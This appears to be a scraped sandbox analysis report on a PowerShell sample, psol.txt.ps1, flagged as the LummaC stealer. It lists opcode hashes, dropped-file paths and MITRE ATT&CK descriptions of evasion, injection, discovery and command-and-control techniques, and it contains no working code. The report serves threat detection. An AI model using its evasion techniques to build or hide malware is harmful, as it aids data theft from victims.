Instruction ID: acae07fc54568c24841aa9fddb462a86bd7d0bba15dc7e3c3cb45f0ec5a4a760
Opcode Fuzzy Hash: 179cefb837a33fac61457fc8c111da0ca76e647a2970b59848723358977df541
Instruction Fuzzy Hash: 4E900224E4C2009E81018F0095414B5F239938B611F20B1108808330154320D442954C

Function 02C94F16 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2786989040.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c91000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e9f41a2f5e6398b6e7f061e48dd70dfcfee653375f325536a827ddc15fcbcfb
Instruction ID: bd5c3da08934fb31e03b82da89f61894b0671e99b5f351c9f0c77e7dbea158ef
Opcode Fuzzy Hash: 1e9f41a2f5e6398b6e7f061e48dd70dfcfee653375f325536a827ddc15fcbcfb
Instruction Fuzzy Hash: 67900220EC92109F86018D0091815B5E239938B611F20B600840C730054230D455454C

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report psol.txt.ps1

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lawaq4la.agj.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lkzobuuj.vzg.psm1

C:\Users\user\AppData\Roaming\Extracted1\Register.dll

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\._Register.dll

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\._carferry.flv

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\._libvlccore.dll

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\._resource_

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\._setup.exe

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\._CMap

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\._Font

Windows Analysis Report
psol.txt.ps1